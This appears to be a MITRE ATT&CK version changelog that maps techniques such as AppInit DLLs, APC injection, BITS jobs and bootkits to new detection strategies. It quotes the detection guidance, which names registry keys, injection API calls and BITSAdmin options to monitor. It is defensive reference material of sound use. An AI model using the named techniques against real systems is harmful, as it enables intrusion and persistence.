New Detections (Detection Strategies -> Technique):

DET0362: Detection Strategy for AppCert DLLs Persistence via Registry Injection

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Command: Command Execution', 'Process: OS API Execution', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:44.894000+00:00	2025-10-24 17:49:00.663000+00:00
x_mitre_detection	Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

[T1546.010] Event Triggered Execution: AppInit DLLs

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0557: Detection Strategy for Event Triggered Execution: AppInit DLLs (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:21.193000+00:00	2025-10-24 17:49:24.008000+00:00
x_mitre_detection	Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as `RegCreateKeyEx` and `RegSetValueEx`. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.

[T1059.002] Command and Scripting Interpreter: AppleScript

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0414: Detection of AppleScript-Based Execution on macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:22.484000+00:00	2025-10-24 17:48:39.348000+00:00
x_mitre_detection	Monitor for execution of AppleScript through `osascript` and usage of the `NSAppleScript` and `OSAScript` APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

[T1550.001] Use Alternate Authentication Material: Application Access Token

Current version: 1.8

Dropped Detections (Data Components -> Technique):

DS0006: Web Credential (Web Credential Usage)

New Detections (Detection Strategies -> Technique):

DET0185: Behavioral Detection Strategy for Use Alternate Authentication Material: Application Access Token (T1550.001)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Web Credential: Web Credential Usage']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:20.277000+00:00	2025-10-24 17:49:35.227000+00:00
x_mitre_detection	Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)

[T1499.003] Endpoint Denial of Service: Application Exhaustion Flood

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0415: Application Exhaustion Flood Detection Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'Sensor Health: Host Status', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:48:39.804000+00:00	2025-10-24 17:48:27.259000+00:00
x_mitre_detection	Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts. In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.

[T1071] Application Layer Protocol

Current version: 2.4

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0444: Detection of Command and Control Over Application Layer Protocols

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:21.401000+00:00	2025-10-24 17:48:38.368000+00:00
x_mitre_detection	Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)

[T1546.011] Event Triggered Execution: Application Shimming

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0017: Detection Strategy for Application Shimming via sdbinst.exe and Registry Artifacts (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:29.459000+00:00	2025-10-24 17:48:42.703000+00:00
x_mitre_detection	There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim): * Shim-Process-Scanner - checks memory of every running process for any shim flags * Shim-Detector-Lite - detects installation of custom shim databases * Shim-Guard - monitors registry for any shim installations * ShimScanner - forensic tool to find active shims in memory * ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot) Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.

[T1010] Application Window Discovery

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0097: Detection of Application Window Enumeration via API or Scripting

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:49:50.019000+00:00	2025-10-24 17:48:44.488000+00:00
x_mitre_detection	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

[T1499.004] Endpoint Denial of Service: Application or System Exploitation

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0013: Sensor Health (Host Status)
DS0015: Application Log (Application Log Content)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0304: Detection Strategy for Endpoint DoS via Application or System Exploitation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Sensor Health: Host Status', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:50:12.334000+00:00	2025-10-24 17:48:34.531000+00:00
x_mitre_detection	Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack. Externally monitor the availability of services that may be targeted by an Endpoint DoS.

[T1560] Archive Collected Data

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0526: Detect Archiving and Encryption of Collected Data (T1560)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Script: Script Execution', 'Process: Process Creation', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:50:30.319000+00:00	2025-10-24 17:48:48.023000+00:00
x_mitre_detection	Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. A process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures. Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)

[T1560.003] Archive Collected Data: Archive via Custom Method

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0012: Script (Script Execution)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0438: Detect Archiving via Custom Method (T1560.003)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:50:49.814000+00:00	2025-10-24 17:48:26.190000+00:00
x_mitre_detection	Custom archival methods can be very difficult to detect, since many of them use standard programming language concepts, such as bitwise operations.

[T1560.002] Archive Collected Data: Archive via Library

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0012: Script (Script Execution)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0268: Detect Archiving via Library (T1560.002)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Script: Script Execution', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:51:09.003000+00:00	2025-10-24 17:48:42.345000+00:00
x_mitre_detection	Monitor processes for accesses to known archival libraries. This may yield a significant number of benign events, depending on how systems in the environment are typically used. Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)

[T1560.001] Archive Collected Data: Archive via Utility

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0298: Detect Archiving via Utility (T1560.001)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:51:23.078000+00:00	2025-10-24 17:48:19.477000+00:00
x_mitre_detection	Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used. Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)

[T1588.007] Obtain Capabilities: Artificial Intelligence

Current version: 1.1

New Detections (Detection Strategies -> Technique):

DET0842: Detection of Artificial Intelligence

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:05.447000+00:00	2025-10-24 17:48:23.190000+00:00
x_mitre_detection	Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).

[T1573.002] Encrypted Channel: Asymmetric Cryptography

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0543: Detection Strategy for Encrypted Channel via Asymmetric Cryptography across OS Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:03.664000+00:00	2025-10-24 17:49:18.961000+00:00
x_mitre_detection	SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks) In general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)

[T1055.004] Process Injection: Asynchronous Procedure Call

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Modification)

New Detections (Detection Strategies -> Technique):

DET0100: Behavioral Detection of Asynchronous Procedure Call (APC) Injection via Remote Thread Queuing

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Access', 'Process: Process Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:11.435000+00:00	2025-10-24 17:49:00.298000+00:00
x_mitre_detection	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `SuspendThread`/`SetThreadContext`/`ResumeThread`, `QueueUserAPC`/`NtQueueApcThread`, and those that can be used to modify memory within another process, such as `VirtualAllocEx`/`WriteProcessMemory`, may be used for this technique.(Citation: Elastic Process Injection July 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1053.002] Scheduled Task/Job: At

Current version: 2.4

Dropped Detections (Data Components -> Technique):

DS0003: Scheduled Job (Scheduled Job Creation)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Modification)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0333: Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Scheduled Job: Scheduled Job Creation', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:21.266000+00:00	2025-10-24 17:49:36.495000+00:00
x_mitre_detection	Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) * Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered * Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated * Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted * Event ID 4698 on Windows 10, Server 2016 - Scheduled task created * Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled * Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. In Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. Review all jobs using the `atq` command and ensure IP addresses stored in the `SSH_CONNECTION` and `SSH_CLIENT` variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in `/var/spool/cron/atjobs/`.(Citation: rowland linux at 2019) Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).

[T1123] Audio Capture

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0221: Behavioral Detection Strategy for T1123 Audio Capture Across Windows, Linux, macOS

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 21:51:52.461000+00:00	2025-10-24 17:48:24.702000+00:00
x_mitre_detection	Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system. Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.

[T1547.002] Boot or Logon Autostart Execution: Authentication Package

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0207: Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:19.684000+00:00	2025-10-24 17:49:17.208000+00:00
x_mitre_detection	Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe` with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

[T1119] Automated Collection

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0012: Script (Script Execution)
DS0017: Command (Command Execution)
DS0022: File (File Access)

New Detections (Detection Strategies -> Technique):

DET0186: Automated File and API Collection Detection Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['User Account: User Account Authentication', 'Command: Command Execution', 'File: File Access', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:18.743000+00:00	2025-10-24 17:48:35.995000+00:00
x_mitre_detection	Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.

[T1020] Automated Exfiltration

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0012: Script (Script Execution)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0397: Automated Exfiltration Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:42.569000+00:00	2025-10-24 17:48:58.340000+00:00
x_mitre_detection	Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.

[T1197] BITS Jobs

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0019: Service (Service Metadata)
DS0029: Network Traffic (Network Connection Creation)

New Detections (Detection Strategies -> Technique):

DET0098: Detect abuse of Windows BITS Jobs for download, execution and persistence

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Service: Service Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:37:20.513000+00:00	2025-10-24 17:49:22.711000+00:00
x_mitre_detection	BITS runs as a service and its status can be checked with the Sc query utility (`sc query bits`).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (`bitsadmin /list /allusers /verbose`).(Citation: Microsoft BITS) Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016) Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS)

[T1102.002] Web Service: Bidirectional Communication

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0035: Detect Bidirectional Web Service C2 Channels via Process & Network Correlation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:47:51.598000+00:00	2025-10-24 17:49:18.602000+00:00
x_mitre_detection	Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)

[T1027.001] Obfuscated Files or Information: Binary Padding

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0553: Detection Strategy for Obfuscated Files or Information: Binary Padding

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:48.991000+00:00	2025-10-24 17:48:50.205000+00:00
x_mitre_detection	Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.

[T1547] Boot or Logon Autostart Execution

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0008: Kernel (Kernel Module Load)
DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0024: Windows Registry (Windows Registry Key Modification)
DS0027: Driver (Driver Load)

New Detections (Detection Strategies -> Technique):

DET0274: Boot or Logon Autostart Execution Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Module: Module Load', 'Command: Command Execution', 'File: File Creation', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Kernel: Kernel Module Load', 'Process: Process Creation', 'Driver: Driver Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:12.270000+00:00	2025-10-24 17:48:29.846000+00:00
x_mitre_detection	Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. Suspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Monitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.

[T1037] Boot or Logon Initialization Scripts

Current version: 2.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Creation)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0112: Boot or Logon Initialization Scripts Detection Strategy

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Modification', 'Windows Registry: Windows Registry Key Creation', 'Command: Command Execution', 'File: File Creation', 'Process: Process Creation', 'Active Directory: Active Directory Object Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:02.121000+00:00	2025-10-24 17:48:20.077000+00:00
x_mitre_detection	Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.

[T1542.003] Pre-OS Boot: Bootkit

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0016: Drive (Drive Modification)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0150: Detection Strategy for File Creation or Modification of Boot Files

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Drive: Drive Modification', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:10.739000+00:00	2025-10-24 17:48:28.341000+00:00
x_mitre_detection	Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.

[T1584.005] Compromise Infrastructure: Botnet

Current version: 1.0

New Detections (Detection Strategies -> Technique):

DET0883: Detection of Botnet

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 13:38:12.734000+00:00	2025-10-24 17:49:02.197000+00:00
